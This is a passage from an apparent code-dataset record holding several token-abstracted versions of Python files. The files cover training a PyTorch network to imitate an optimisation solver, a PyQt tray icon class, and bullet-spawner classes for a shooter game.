tqdm import tqdm\nfrom MMS_compute import xpress_solver\nimport copy\npath_to_data = 'Dataset'\n\n\ndef split_to_train_validation(path_to_data):\n dataset = CustomDataset(path_to_data)\n print(len(dataset))\n batch_size = 300\n validation_split = 0.2\n shuffle_dataset = True\n random_seed = 56\n dataset_size = len(dataset)\n indices = list(range(dataset_size))\n split = int(np.floor(validation_split * dataset_size))\n if shuffle_dataset:\n np.random.seed(random_seed)\n np.random.shuffle(indices)\n train_indices, val_indices = indices[split:], indices[:split]\n print(len(train_indices), len(val_indices))\n train_sampler = SubsetRandomSampler(train_indices)\n valid_sampler = SubsetRandomSampler(val_indices)\n train_loader = DataLoader(dataset, batch_size=batch_size, sampler=\n train_sampler)\n validation_loader = DataLoader(dataset, batch_size=batch_size, sampler=\n valid_sampler)\n print(len(train_loader), len(validation_loader))\n return train_loader, validation_loader\n\n\ntrain_loader, validation_loader = split_to_train_validation(path_to_data)\nnet = Net()\nloss_func = nn.MSELoss()\noptimizer = optim.Adam(net.parameters(), lr=0.0001)\n\n\ndef compute_loss(dataloader, net):\n loss = 0\n if torch.cuda.is_available():\n net.cuda()\n net.eval()\n n_batches = 0\n with torch.no_grad():\n for x, y in dataloader:\n n_batches += 1\n if torch.cuda.is_available():\n x = x.cuda()\n y = y.cuda()\n pred = net(x)\n loss += loss_func(pred, y).item()\n loss = loss / n_batches\n return loss\n\n\nn_epochs = 50\npbar = tqdm(range(n_epochs))\nvalidation_loss_vs_epoch = []\nif torch.cuda.is_available():\n net.cuda()\nfor epoch in pbar:\n if len(validation_loss_vs_epoch) > 1:\n print('epoch', epoch, ' val loss:' + '{0:.5f}'.format(\n validation_loss_vs_epoch[-1]))\n net.train()\n for x, y in train_loader:\n y = y.to(torch.float32)\n if torch.cuda.is_available():\n x = x.cuda()\n y = y.cuda()\n optimizer.zero_grad()\n pred = net(x)\n loss = loss_func(pred, y)\n loss.backward()\n optimizer.step()\n net.eval()\n valid_loss = compute_loss(validation_loader, net)\n validation_loss_vs_epoch.append(valid_loss)\n\n\ndef zero_pad(values, max_m):\n m = len(values)\n values += [0] * (max_m - m)\n\n\ndef solve_with_solver(values_copy, n):\n return xpress_solver(values_copy, n)\n\n\ndef solve_with_net(values_copy, n):\n start = time.time()\n sum_vals = sum(values_copy)\n new_values = [(val / sum_vals) for val in values_copy]\n pred = net(torch.FloatTensor([float(n)] + new_values))\n pred_num = float(pred.data[0])\n final_result = pred_num * sum_vals\n end = time.time()\n return final_result, end - start\n\n\ndef test_net(path):\n max_m = 100\n filelist = glob.glob(path + '/*.json')\n print(len(filelist))\n test_result = dict()\n filelist_len = len(filelist)\n for count, filename in enumerate(filelist):\n n, m, max_val = get_params_from_filename(filename)\n data_list_in_file = []\n with open(filename) as jsonFile:\n data_list_in_file = json.load(jsonFile)\n idx = random.randint(0, len(data_list_in_file) - 1)\n example = data_list_in_file[idx]\n values = example[0]['values']\n values_copy = copy.deepcopy(values)\n values_copy.sort(reverse=True)\n solver_result, solver_time = solve_with_solver(values_copy, n)\n zero_pad(values_copy, max_m)\n net_result, net_time = solve_with_net(values_copy, n)\n test_result[str((n, m, max_val))] = {'values_idx': idx,\n 'solver_result': solver_result, 'solver_time': solver_time,\n 'net_result': net_result, 'net_time': net_time}\n if count % 20 == 0:\n print(count, 'out of', filelist_len)\n test_result_path = './TestResults/test_results.json'\n with open(test_result_path, 'w+') as json_file:\n json.dump(test_result, json_file, indent=4)\n\n\ntest_net(path_to_data)\n", "<import token>\npath_to_data = 'Dataset'\n\n\ndef split_to_train_validation(path_to_data):\n dataset = CustomDataset(path_to_data)\n print(len(dataset))\n batch_size = 300\n validation_split = 0.2\n shuffle_dataset = True\n random_seed = 56\n dataset_size = len(dataset)\n indices = list(range(dataset_size))\n split = int(np.floor(validation_split * dataset_size))\n if shuffle_dataset:\n np.random.seed(random_seed)\n np.random.shuffle(indices)\n train_indices, val_indices = indices[split:], indices[:split]\n print(len(train_indices), len(val_indices))\n train_sampler = SubsetRandomSampler(train_indices)\n valid_sampler = SubsetRandomSampler(val_indices)\n train_loader = DataLoader(dataset, batch_size=batch_size, sampler=\n train_sampler)\n validation_loader = DataLoader(dataset, batch_size=batch_size, sampler=\n valid_sampler)\n print(len(train_loader), len(validation_loader))\n return train_loader, validation_loader\n\n\ntrain_loader, validation_loader = split_to_train_validation(path_to_data)\nnet = Net()\nloss_func = nn.MSELoss()\noptimizer = optim.Adam(net.parameters(), lr=0.0001)\n\n\ndef compute_loss(dataloader, net):\n loss = 0\n if torch.cuda.is_available():\n net.cuda()\n net.eval()\n n_batches = 0\n with torch.no_grad():\n for x, y in dataloader:\n n_batches += 1\n if torch.cuda.is_available():\n x = x.cuda()\n y = y.cuda()\n pred = net(x)\n loss += loss_func(pred, y).item()\n loss = loss / n_batches\n return loss\n\n\nn_epochs = 50\npbar = tqdm(range(n_epochs))\nvalidation_loss_vs_epoch = []\nif torch.cuda.is_available():\n net.cuda()\nfor epoch in pbar:\n if len(validation_loss_vs_epoch) > 1:\n print('epoch', epoch, ' val loss:' + '{0:.5f}'.format(\n validation_loss_vs_epoch[-1]))\n net.train()\n for x, y in train_loader:\n y = y.to(torch.float32)\n if torch.cuda.is_available():\n x = x.cuda()\n y = y.cuda()\n optimizer.zero_grad()\n pred = net(x)\n loss = loss_func(pred, y)\n loss.backward()\n optimizer.step()\n net.eval()\n valid_loss = compute_loss(validation_loader, net)\n validation_loss_vs_epoch.append(valid_loss)\n\n\ndef zero_pad(values, max_m):\n m = len(values)\n values += [0] * (max_m - m)\n\n\ndef solve_with_solver(values_copy, n):\n return xpress_solver(values_copy, n)\n\n\ndef solve_with_net(values_copy, n):\n start = time.time()\n sum_vals = sum(values_copy)\n new_values = [(val / sum_vals) for val in values_copy]\n pred = net(torch.FloatTensor([float(n)] + new_values))\n pred_num = float(pred.data[0])\n final_result = pred_num * sum_vals\n end = time.time()\n return final_result, end - start\n\n\ndef test_net(path):\n max_m = 100\n filelist = glob.glob(path + '/*.json')\n print(len(filelist))\n test_result = dict()\n filelist_len = len(filelist)\n for count, filename in enumerate(filelist):\n n, m, max_val = get_params_from_filename(filename)\n data_list_in_file = []\n with open(filename) as jsonFile:\n data_list_in_file = json.load(jsonFile)\n idx = random.randint(0, len(data_list_in_file) - 1)\n example = data_list_in_file[idx]\n values = example[0]['values']\n values_copy = copy.deepcopy(values)\n values_copy.sort(reverse=True)\n solver_result, solver_time = solve_with_solver(values_copy, n)\n zero_pad(values_copy, max_m)\n net_result, net_time = solve_with_net(values_copy, n)\n test_result[str((n, m, max_val))] = {'values_idx': idx,\n 'solver_result': solver_result, 'solver_time': solver_time,\n 'net_result': net_result, 'net_time': net_time}\n if count % 20 == 0:\n print(count, 'out of', filelist_len)\n test_result_path = './TestResults/test_results.json'\n with open(test_result_path, 'w+') as json_file:\n json.dump(test_result, json_file, indent=4)\n\n\ntest_net(path_to_data)\n", "<import token>\n<assignment token>\n\n\ndef split_to_train_validation(path_to_data):\n dataset = CustomDataset(path_to_data)\n print(len(dataset))\n batch_size = 300\n validation_split = 0.2\n shuffle_dataset = True\n random_seed = 56\n dataset_size = len(dataset)\n indices = list(range(dataset_size))\n split = int(np.floor(validation_split * dataset_size))\n if shuffle_dataset:\n np.random.seed(random_seed)\n np.random.shuffle(indices)\n train_indices, val_indices = indices[split:], indices[:split]\n print(len(train_indices), len(val_indices))\n train_sampler = SubsetRandomSampler(train_indices)\n valid_sampler = SubsetRandomSampler(val_indices)\n train_loader = DataLoader(dataset, batch_size=batch_size, sampler=\n train_sampler)\n validation_loader = DataLoader(dataset, batch_size=batch_size, sampler=\n valid_sampler)\n print(len(train_loader), len(validation_loader))\n return train_loader, validation_loader\n\n\n<assignment token>\n\n\ndef compute_loss(dataloader, net):\n loss = 0\n if torch.cuda.is_available():\n net.cuda()\n net.eval()\n n_batches = 0\n with torch.no_grad():\n for x, y in dataloader:\n n_batches += 1\n if torch.cuda.is_available():\n x = x.cuda()\n y = y.cuda()\n pred = net(x)\n loss += loss_func(pred, y).item()\n loss = loss / n_batches\n return loss\n\n\n<assignment token>\nif torch.cuda.is_available():\n net.cuda()\nfor epoch in pbar:\n if len(validation_loss_vs_epoch) > 1:\n print('epoch', epoch, ' val loss:' + '{0:.5f}'.format(\n validation_loss_vs_epoch[-1]))\n net.train()\n for x, y in train_loader:\n y = y.to(torch.float32)\n if torch.cuda.is_available():\n x = x.cuda()\n y = y.cuda()\n optimizer.zero_grad()\n pred = net(x)\n loss = loss_func(pred, y)\n loss.backward()\n optimizer.step()\n net.eval()\n valid_loss = compute_loss(validation_loader, net)\n validation_loss_vs_epoch.append(valid_loss)\n\n\ndef zero_pad(values, max_m):\n m = len(values)\n values += [0] * (max_m - m)\n\n\ndef solve_with_solver(values_copy, n):\n return xpress_solver(values_copy, n)\n\n\ndef solve_with_net(values_copy, n):\n start = time.time()\n sum_vals = sum(values_copy)\n new_values = [(val / sum_vals) for val in values_copy]\n pred = net(torch.FloatTensor([float(n)] + new_values))\n pred_num = float(pred.data[0])\n final_result = pred_num * sum_vals\n end = time.time()\n return final_result, end - start\n\n\ndef test_net(path):\n max_m = 100\n filelist = glob.glob(path + '/*.json')\n print(len(filelist))\n test_result = dict()\n filelist_len = len(filelist)\n for count, filename in enumerate(filelist):\n n, m, max_val = get_params_from_filename(filename)\n data_list_in_file = []\n with open(filename) as jsonFile:\n data_list_in_file = json.load(jsonFile)\n idx = random.randint(0, len(data_list_in_file) - 1)\n example = data_list_in_file[idx]\n values = example[0]['values']\n values_copy = copy.deepcopy(values)\n values_copy.sort(reverse=True)\n solver_result, solver_time = solve_with_solver(values_copy, n)\n zero_pad(values_copy, max_m)\n net_result, net_time = solve_with_net(values_copy, n)\n test_result[str((n, m, max_val))] = {'values_idx': idx,\n 'solver_result': solver_result, 'solver_time': solver_time,\n 'net_result': net_result, 'net_time': net_time}\n if count % 20 == 0:\n print(count, 'out of', filelist_len)\n test_result_path = './TestResults/test_results.json'\n with open(test_result_path, 'w+') as json_file:\n json.dump(test_result, json_file, indent=4)\n\n\ntest_net(path_to_data)\n", "<import token>\n<assignment token>\n\n\ndef split_to_train_validation(path_to_data):\n dataset = CustomDataset(path_to_data)\n print(len(dataset))\n batch_size = 300\n validation_split = 0.2\n shuffle_dataset = True\n random_seed = 56\n dataset_size = len(dataset)\n indices = list(range(dataset_size))\n split = int(np.floor(validation_split * dataset_size))\n if shuffle_dataset:\n np.random.seed(random_seed)\n np.random.shuffle(indices)\n train_indices, val_indices = indices[split:], indices[:split]\n print(len(train_indices), len(val_indices))\n train_sampler = SubsetRandomSampler(train_indices)\n valid_sampler = SubsetRandomSampler(val_indices)\n train_loader = DataLoader(dataset, batch_size=batch_size, sampler=\n train_sampler)\n validation_loader = DataLoader(dataset, batch_size=batch_size, sampler=\n valid_sampler)\n print(len(train_loader), len(validation_loader))\n return train_loader, validation_loader\n\n\n<assignment token>\n\n\ndef compute_loss(dataloader, net):\n loss = 0\n if torch.cuda.is_available():\n net.cuda()\n net.eval()\n n_batches = 0\n with torch.no_grad():\n for x, y in dataloader:\n n_batches += 1\n if torch.cuda.is_available():\n x = x.cuda()\n y = y.cuda()\n pred = net(x)\n loss += loss_func(pred, y).item()\n loss = loss / n_batches\n return loss\n\n\n<assignment token>\n<code token>\n\n\ndef zero_pad(values, max_m):\n m = len(values)\n values += [0] * (max_m - m)\n\n\ndef solve_with_solver(values_copy, n):\n return xpress_solver(values_copy, n)\n\n\ndef solve_with_net(values_copy, n):\n start = time.time()\n sum_vals = sum(values_copy)\n new_values = [(val / sum_vals) for val in values_copy]\n pred = net(torch.FloatTensor([float(n)] + new_values))\n pred_num = float(pred.data[0])\n final_result = pred_num * sum_vals\n end = time.time()\n return final_result, end - start\n\n\ndef test_net(path):\n max_m = 100\n filelist = glob.glob(path + '/*.json')\n print(len(filelist))\n test_result = dict()\n filelist_len = len(filelist)\n for count, filename in enumerate(filelist):\n n, m, max_val = get_params_from_filename(filename)\n data_list_in_file = []\n with open(filename) as jsonFile:\n data_list_in_file = json.load(jsonFile)\n idx = random.randint(0, len(data_list_in_file) - 1)\n example = data_list_in_file[idx]\n values = example[0]['values']\n values_copy = copy.deepcopy(values)\n values_copy.sort(reverse=True)\n solver_result, solver_time = solve_with_solver(values_copy, n)\n zero_pad(values_copy, max_m)\n net_result, net_time = solve_with_net(values_copy, n)\n test_result[str((n, m, max_val))] = {'values_idx': idx,\n 'solver_result': solver_result, 'solver_time': solver_time,\n 'net_result': net_result, 'net_time': net_time}\n if count % 20 == 0:\n print(count, 'out of', filelist_len)\n test_result_path = './TestResults/test_results.json'\n with open(test_result_path, 'w+') as json_file:\n json.dump(test_result, json_file, indent=4)\n\n\n<code token>\n", "<import token>\n<assignment token>\n\n\ndef split_to_train_validation(path_to_data):\n dataset = CustomDataset(path_to_data)\n print(len(dataset))\n batch_size = 300\n validation_split = 0.2\n shuffle_dataset = True\n random_seed = 56\n dataset_size = len(dataset)\n indices = list(range(dataset_size))\n split = int(np.floor(validation_split * dataset_size))\n if shuffle_dataset:\n np.random.seed(random_seed)\n np.random.shuffle(indices)\n train_indices, val_indices = indices[split:], indices[:split]\n print(len(train_indices), len(val_indices))\n train_sampler = SubsetRandomSampler(train_indices)\n valid_sampler = SubsetRandomSampler(val_indices)\n train_loader = DataLoader(dataset, batch_size=batch_size, sampler=\n train_sampler)\n validation_loader = DataLoader(dataset, batch_size=batch_size, sampler=\n valid_sampler)\n print(len(train_loader), len(validation_loader))\n return train_loader, validation_loader\n\n\n<assignment token>\n\n\ndef compute_loss(dataloader, net):\n loss = 0\n if torch.cuda.is_available():\n net.cuda()\n net.eval()\n n_batches = 0\n with torch.no_grad():\n for x, y in dataloader:\n n_batches += 1\n if torch.cuda.is_available():\n x = x.cuda()\n y = y.cuda()\n pred = net(x)\n loss += loss_func(pred, y).item()\n loss = loss / n_batches\n return loss\n\n\n<assignment token>\n<code token>\n\n\ndef zero_pad(values, max_m):\n m = len(values)\n values += [0] * (max_m - m)\n\n\ndef solve_with_solver(values_copy, n):\n return xpress_solver(values_copy, n)\n\n\ndef solve_with_net(values_copy, n):\n start = time.time()\n sum_vals = sum(values_copy)\n new_values = [(val / sum_vals) for val in values_copy]\n pred = net(torch.FloatTensor([float(n)] + new_values))\n pred_num = float(pred.data[0])\n final_result = pred_num * sum_vals\n end = time.time()\n return final_result, end - start\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<assignment token>\n\n\ndef compute_loss(dataloader, net):\n loss = 0\n if torch.cuda.is_available():\n net.cuda()\n net.eval()\n n_batches = 0\n with torch.no_grad():\n for x, y in dataloader:\n n_batches += 1\n if torch.cuda.is_available():\n x = x.cuda()\n y = y.cuda()\n pred = net(x)\n loss += loss_func(pred, y).item()\n loss = loss / n_batches\n return loss\n\n\n<assignment token>\n<code token>\n\n\ndef zero_pad(values, max_m):\n m = len(values)\n values += [0] * (max_m - m)\n\n\ndef solve_with_solver(values_copy, n):\n return xpress_solver(values_copy, n)\n\n\ndef solve_with_net(values_copy, n):\n start = time.time()\n sum_vals = sum(values_copy)\n new_values = [(val / sum_vals) for val in values_copy]\n pred = net(torch.FloatTensor([float(n)] + new_values))\n pred_num = float(pred.data[0])\n final_result = pred_num * sum_vals\n end = time.time()\n return final_result, end - start\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<assignment token>\n<function token>\n<assignment token>\n<code token>\n\n\ndef zero_pad(values, max_m):\n m = len(values)\n values += [0] * (max_m - m)\n\n\ndef solve_with_solver(values_copy, n):\n return xpress_solver(values_copy, n)\n\n\ndef solve_with_net(values_copy, n):\n start = time.time()\n sum_vals = sum(values_copy)\n new_values = [(val / sum_vals) for val in values_copy]\n pred = net(torch.FloatTensor([float(n)] + new_values))\n pred_num = float(pred.data[0])\n final_result = pred_num * sum_vals\n end = time.time()\n return final_result, end - start\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<assignment token>\n<function token>\n<assignment token>\n<code token>\n<function token>\n\n\ndef solve_with_solver(values_copy, n):\n return xpress_solver(values_copy, n)\n\n\ndef solve_with_net(values_copy, n):\n start = time.time()\n sum_vals = sum(values_copy)\n new_values = [(val / sum_vals) for val in values_copy]\n pred = net(torch.FloatTensor([float(n)] + new_values))\n pred_num = float(pred.data[0])\n final_result = pred_num * sum_vals\n end = time.time()\n return final_result, end - start\n\n\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<assignment token>\n<function token>\n<assignment token>\n<code token>\n<function token>\n\n\ndef solve_with_solver(values_copy, n):\n return xpress_solver(values_copy, n)\n\n\n<function token>\n<function token>\n<code token>\n", "<import token>\n<assignment token>\n<function token>\n<assignment token>\n<function token>\n<assignment token>\n<code token>\n<function token>\n<function token>\n<function token>\n<function token>\n<code token>\n" ]
false
9,931
c6e315d7dd44b998f64eee079f2d8455ffecdc30
from PyQt4.QtGui import QSystemTrayIcon, QApplication, QMenu, QIcon class SystemTrayIcon(QSystemTrayIcon): def __init__(self, parent=None): super(SystemTrayIcon, self).__init__(parent) self.set_icon_state(QIcon.Disabled) menu = QMenu(parent) self.exit_action = menu.addAction('E&xit') self.exit_action.triggered.connect(self.close_application) self.setContextMenu(menu) self.setToolTip(QApplication.instance().applicationName()) def close_application(self): self.parent().close() def set_icon_state(self, state): pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state) self.setIcon(QIcon(pixmap))
[ "from PyQt4.QtGui import QSystemTrayIcon, QApplication, QMenu, QIcon\r\n\r\n\r\nclass SystemTrayIcon(QSystemTrayIcon):\r\n def __init__(self, parent=None):\r\n super(SystemTrayIcon, self).__init__(parent)\r\n self.set_icon_state(QIcon.Disabled)\r\n menu = QMenu(parent)\r\n self.exit_action = menu.addAction('E&xit')\r\n\r\n self.exit_action.triggered.connect(self.close_application)\r\n self.setContextMenu(menu)\r\n self.setToolTip(QApplication.instance().applicationName())\r\n\r\n def close_application(self):\r\n self.parent().close()\r\n\r\n def set_icon_state(self, state):\r\n pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state)\r\n self.setIcon(QIcon(pixmap))\r\n", "from PyQt4.QtGui import QSystemTrayIcon, QApplication, QMenu, QIcon\n\n\nclass SystemTrayIcon(QSystemTrayIcon):\n\n def __init__(self, parent=None):\n super(SystemTrayIcon, self).__init__(parent)\n self.set_icon_state(QIcon.Disabled)\n menu = QMenu(parent)\n self.exit_action = menu.addAction('E&xit')\n self.exit_action.triggered.connect(self.close_application)\n self.setContextMenu(menu)\n self.setToolTip(QApplication.instance().applicationName())\n\n def close_application(self):\n self.parent().close()\n\n def set_icon_state(self, state):\n pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state)\n self.setIcon(QIcon(pixmap))\n", "<import token>\n\n\nclass SystemTrayIcon(QSystemTrayIcon):\n\n def __init__(self, parent=None):\n super(SystemTrayIcon, self).__init__(parent)\n self.set_icon_state(QIcon.Disabled)\n menu = QMenu(parent)\n self.exit_action = menu.addAction('E&xit')\n self.exit_action.triggered.connect(self.close_application)\n self.setContextMenu(menu)\n self.setToolTip(QApplication.instance().applicationName())\n\n def close_application(self):\n self.parent().close()\n\n def set_icon_state(self, state):\n pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state)\n self.setIcon(QIcon(pixmap))\n", "<import token>\n\n\nclass SystemTrayIcon(QSystemTrayIcon):\n\n def __init__(self, parent=None):\n super(SystemTrayIcon, self).__init__(parent)\n self.set_icon_state(QIcon.Disabled)\n menu = QMenu(parent)\n self.exit_action = menu.addAction('E&xit')\n self.exit_action.triggered.connect(self.close_application)\n self.setContextMenu(menu)\n self.setToolTip(QApplication.instance().applicationName())\n <function token>\n\n def set_icon_state(self, state):\n pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state)\n self.setIcon(QIcon(pixmap))\n", "<import token>\n\n\nclass SystemTrayIcon(QSystemTrayIcon):\n <function token>\n <function token>\n\n def set_icon_state(self, state):\n pixmap = QApplication.instance().windowIcon().pixmap(256, 256, state)\n self.setIcon(QIcon(pixmap))\n", "<import token>\n\n\nclass SystemTrayIcon(QSystemTrayIcon):\n <function token>\n <function token>\n <function token>\n", "<import token>\n<class token>\n" ]
false
9,932
519746450826d02230a492a99e0b518602d53fcb
#classes that store values related to levels from mg_cus_struct import * from mg_movement import * import copy class BulletTemplate(object) : def __init__(self, animationName, initialVelocity, hitbox) : self._spawningCycle = 0 self._animationName = animationName self._initialVelocity = initialVelocity self._movementList = dict() self._hitbox = hitbox def addMovementCommand(self, cycle, movementCommand) : self._movementList[cycle] = movementCommand class BulletSpawnerTemplate(object) : def __init__(self, initialPosition, initialVelocity) : self._spawningCycle = 0 self._initialPosition = initialPosition self._initialVelocity = initialVelocity self._movementList = dict() self._displacement = 0 self._exitLocations = [] self._rotationSpeed = 0 self._initialDelay = 0 self._sprayTimer = [] self._inBetweenTimer = 0 self._rounds = -1 self._bulletTemplate = None #mask self._maskName = "" self._maskLayer = 0 def addSprayTimer(self, sprayTimer) : self._sprayTimer.extend(sprayTimer) def setRounds(self, rounds) : self._rounds = rounds def setInitialDelay(self, initialDelay) : self._initialDelay = initialDelay def setInBetweenTimer(self, delay) : self._inBetweenTimer = delay def addExitLocation(self, location) : self._exitLocations.append(location) def addBulletTemplate(self, bulletTemplate) : self._bulletTemplate = bulletTemplate def addMovementCommand(self, cycle, movementCommand) : self._movementList[cycle] = movementCommand def addMask(self, maskName, maskLayer) : self._maskName = maskName self._maskLayer = maskLayer class BulletMasterTemplate(object) : def __init__(self, name) : self._name = name self._bulletSpawnerTemplates = [] self._powerUpTable = { "life" : 0, "power" : 0, "spell" : 0, "points" : 0, } def addBulletSpawnerTemplates(self, bulletSpawnerTemplate) : self._bulletSpawnerTemplates.append(bulletSpawnerTemplate) class Bullet(MovementCommander) : def __init__(self, bulletTemplate, position, exitAngle, master, spawningCycle) : temp = copy.deepcopy(bulletTemplate._initialVelocity) temp._angle = temp._angle + exitAngle super().__init__(position, temp, spawningCycle) self.addStartingParameters(position, temp) self._animationName = bulletTemplate._animationName for i in bulletTemplate._movementList : self.addMovementCommandDirect(i, bulletTemplate._movementList[i]) self.calculatePositions(master, master._playerPosition, [-100, -100, 1620, 1180], None) class BulletSpawner(MovementCommander) : def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy, spawningCycle) : self._internalCounter = 0 self._exitLocations = [] self._displacement = 0.0 self._master = master self._displacement = bulletSpawnerTemplate._displacement for i in bulletSpawnerTemplate._exitLocations : self._exitLocations.append(i) self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate self._spawningCycle = enemy._spawningCycle self._seenCycle = enemy._spawningCycle self._deathCycle = enemy._deathCycle self._sprayTimer = bulletSpawnerTemplate._sprayTimer self._initialDelay = bulletSpawnerTemplate._initialDelay try : self._lengthOfSpray = max(self._sprayTimer) except ValueError: self._lengthOfSpray = 0 self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer self._rounds = bulletSpawnerTemplate._rounds super().__init__(bulletSpawnerTemplate._initialPosition, bulletSpawnerTemplate._initialVelocity, spawningCycle) self.calculatePositions(master, master._playerPosition, None, masterPosition) #apply masks self._maskName = bulletSpawnerTemplate._maskName self._maskLayer = bulletSpawnerTemplate._maskLayer def calculateBullets(self) : returnList = [] mode = "initialDelayMode" switchCounter = -1 currentRound = 0 for i in self._positionList : self._internalCounter = self._internalCounter + 1 switchCounter = switchCounter + 1 if mode == "initialDelayMode" : if switchCounter >= self._initialDelay : mode = "sprayMode" switchCounter = -1 self._seenCycle = self._spawningCycle + self._internalCounter elif mode == "sprayMode" : if switchCounter in self._sprayTimer : for j in self._exitLocations : offset = CUS_Polar(self._displacement, j) pos = CUS_Point(0.0, 0.0) pos.add(toPoint(offset)) pos._x = pos._x + i._x pos._y = pos._y + i._y bullet = Bullet(self._bulletTemplate, pos, j, self._master, self._spawningCycle+self._internalCounter) returnList.append(bullet) if switchCounter >= self._lengthOfSpray : mode = "inBetweenTimerMode" currentRound = currentRound + 1 switchCounter = -1 elif mode == "inBetweenTimerMode" : if switchCounter >= self._inBetweenTimer : mode = "sprayMode" switchCounter = -1 if currentRound >= self._rounds and self._rounds is not -1 : mode = "sprayOverMode" self._deathCycle = self._spawningCycle + self._internalCounter return returnList class BulletMaster(object) : def __init__(self, bulletMasterTemplate, masterPositionList, master, enemy, spawningCycle) : self._name = bulletMasterTemplate._name self._bulletSpawners = [] for i in bulletMasterTemplate._bulletSpawnerTemplates : self._bulletSpawners.append(BulletSpawner(i, masterPositionList, master, enemy, spawningCycle)) def calculateBullets(self) : returnList = [] for i in self._bulletSpawners : returnList.extend(i.calculateBullets()) return returnList
[ "#classes that store values related to levels\nfrom mg_cus_struct import *\nfrom mg_movement import *\nimport copy\n\nclass BulletTemplate(object) :\n def __init__(self, animationName, initialVelocity, hitbox) :\n self._spawningCycle = 0\n self._animationName = animationName\n self._initialVelocity = initialVelocity\n self._movementList = dict()\n self._hitbox = hitbox\n\n def addMovementCommand(self, cycle, movementCommand) :\n self._movementList[cycle] = movementCommand\n\nclass BulletSpawnerTemplate(object) :\n def __init__(self, initialPosition, initialVelocity) :\n self._spawningCycle = 0\n self._initialPosition = initialPosition\n self._initialVelocity = initialVelocity\n \n self._movementList = dict()\n \n self._displacement = 0\n self._exitLocations = []\n self._rotationSpeed = 0\n \n self._initialDelay = 0\n self._sprayTimer = []\n self._inBetweenTimer = 0\n self._rounds = -1\n \n self._bulletTemplate = None\n\n #mask\n self._maskName = \"\"\n self._maskLayer = 0\n\n def addSprayTimer(self, sprayTimer) :\n self._sprayTimer.extend(sprayTimer)\n\n def setRounds(self, rounds) :\n self._rounds = rounds\n\n def setInitialDelay(self, initialDelay) :\n self._initialDelay = initialDelay\n\n def setInBetweenTimer(self, delay) :\n self._inBetweenTimer = delay\n\n def addExitLocation(self, location) :\n self._exitLocations.append(location)\n\n def addBulletTemplate(self, bulletTemplate) :\n self._bulletTemplate = bulletTemplate\n\n def addMovementCommand(self, cycle, movementCommand) :\n self._movementList[cycle] = movementCommand\n\n def addMask(self, maskName, maskLayer) :\n self._maskName = maskName\n self._maskLayer = maskLayer\n \nclass BulletMasterTemplate(object) :\n def __init__(self, name) :\n self._name = name\n self._bulletSpawnerTemplates = []\n self._powerUpTable = {\n \"life\" : 0,\n \"power\" : 0,\n \"spell\" : 0,\n \"points\" : 0, \n }\n\n def addBulletSpawnerTemplates(self, bulletSpawnerTemplate) :\n self._bulletSpawnerTemplates.append(bulletSpawnerTemplate)\n \nclass Bullet(MovementCommander) :\n def __init__(self, bulletTemplate, position, exitAngle, master, spawningCycle) :\n temp = copy.deepcopy(bulletTemplate._initialVelocity)\n temp._angle = temp._angle + exitAngle\n\n super().__init__(position, temp, spawningCycle)\n self.addStartingParameters(position, temp)\n\n self._animationName = bulletTemplate._animationName\n\n for i in bulletTemplate._movementList :\n self.addMovementCommandDirect(i, bulletTemplate._movementList[i])\n\n self.calculatePositions(master, master._playerPosition, [-100, -100, 1620, 1180], None)\n\nclass BulletSpawner(MovementCommander) :\n def __init__(self, bulletSpawnerTemplate, masterPosition, master, enemy, spawningCycle) :\n self._internalCounter = 0\n self._exitLocations = []\n self._displacement = 0.0\n\n self._master = master\n \n self._displacement = bulletSpawnerTemplate._displacement \n for i in bulletSpawnerTemplate._exitLocations :\n self._exitLocations.append(i)\n self._rotationSpeed = bulletSpawnerTemplate._rotationSpeed\n self._bulletTemplate = bulletSpawnerTemplate._bulletTemplate\n\n self._spawningCycle = enemy._spawningCycle\n self._seenCycle = enemy._spawningCycle\n self._deathCycle = enemy._deathCycle\n \n self._sprayTimer = bulletSpawnerTemplate._sprayTimer\n self._initialDelay = bulletSpawnerTemplate._initialDelay\n \n try :\n self._lengthOfSpray = max(self._sprayTimer)\n except ValueError:\n self._lengthOfSpray = 0\n \n self._inBetweenTimer = bulletSpawnerTemplate._inBetweenTimer\n self._rounds = bulletSpawnerTemplate._rounds\n\n super().__init__(bulletSpawnerTemplate._initialPosition, bulletSpawnerTemplate._initialVelocity, spawningCycle)\n \n self.calculatePositions(master, master._playerPosition, None, masterPosition)\n\n #apply masks\n self._maskName = bulletSpawnerTemplate._maskName\n self._maskLayer = bulletSpawnerTemplate._maskLayer\n\n def calculateBullets(self) :\n returnList = []\n mode = \"initialDelayMode\"\n switchCounter = -1\n currentRound = 0\n for i in self._positionList :\n self._internalCounter = self._internalCounter + 1\n switchCounter = switchCounter + 1\n if mode == \"initialDelayMode\" :\n if switchCounter >= self._initialDelay :\n mode = \"sprayMode\"\n switchCounter = -1\n self._seenCycle = self._spawningCycle + self._internalCounter\n elif mode == \"sprayMode\" :\n if switchCounter in self._sprayTimer :\n for j in self._exitLocations :\n offset = CUS_Polar(self._displacement, j)\n pos = CUS_Point(0.0, 0.0)\n pos.add(toPoint(offset))\n pos._x = pos._x + i._x\n pos._y = pos._y + i._y\n bullet = Bullet(self._bulletTemplate, pos, j, self._master, self._spawningCycle+self._internalCounter)\n returnList.append(bullet)\n if switchCounter >= self._lengthOfSpray :\n mode = \"inBetweenTimerMode\"\n currentRound = currentRound + 1\n switchCounter = -1\n elif mode == \"inBetweenTimerMode\" :\n if switchCounter >= self._inBetweenTimer :\n mode = \"sprayMode\"\n switchCounter = -1\n if currentRound >= self._rounds and self._rounds is not -1 :\n mode = \"sprayOverMode\"\n self._deathCycle = self._spawningCycle + self._internalCounter\n\n return returnList\n \nclass BulletMaster(object) :\n def __init__(self, bulletMasterTemplate, masterPositionList, master, enemy, spawningCycle) :\n self._name = bulletMasterTemplate._name\n\n self._bulletSpawners = []\n\n for i in bulletMasterTemplate._bulletSpawnerTemplates :\n 